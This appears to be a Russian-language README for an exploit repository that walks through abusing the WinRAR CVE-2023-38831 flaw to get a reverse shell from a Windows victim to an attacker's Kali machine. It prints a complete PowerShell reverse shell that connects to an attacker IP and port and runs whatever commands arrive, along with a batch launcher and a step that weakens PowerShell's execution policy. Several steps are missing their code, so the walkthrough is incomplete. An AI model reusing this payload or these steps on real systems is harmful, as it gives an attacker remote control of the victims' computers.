
Необходимые шаги для получения reverse shell при эксплуатации уязвимости WinRAR CVE-2023-38831 в версиях до 6.23.
В этом репозитории мы будем эксплуатировать уязвимость CVE-2023-38831 в WinRAR, чтобы получить reverse shell с машины-жертвы Windows на атакующую машину Kali Linux.
Скачиваем содержимое этого репозитория:

Далее необходимо установить зависимости Python, необходимые для эксплуатации этой уязвимости, с помощью следующих команд:
pip install rarce

Мы запустим вредоносный код, который предоставит нам reverse shell, взятый с сайта revshells.com (указав IP-адрес и порт атакующего):

$LHOST = "192.168.0.36"; $LPORT = 443; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
Этот код PowerShell сохраняем в файл .ps1 (он будет выполнен позже):

После того как мы получили код в ps1 для получения reverse shell, создаём Python-файл, который с помощью библиотеки os будет выполнять файл .ps1:

Затем создаём .bat-файл со следующим кодом:

rem Ruta al ejecutable de Python
set PYTHON_EXECUTABLE=python.exe
rem Ruta al script de Python que deseas ejecutar
set PYTHON_SCRIPT=pwned.py
rem Ejecutar el script de Python
%PYTHON_EXECUTABLE% %PYTHON_SCRIPT%
rem Pausa para que puedas ver la salida antes de que se cierre la ventana
pause
На этом этапе мы должны создать вредоносный WinRAR:

Запускаем файл documento.pdf внутри .rar:


Наконец, если мы останемся в режиме прослушивания с помощью netcat на атакующей машине, мы получим reverse shell:

Если не удаётся выполнять команды PowerShell, необходимо включить выполнение сценариев в вашей системе:


Включаем его:

И выполняем следующую команду:
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser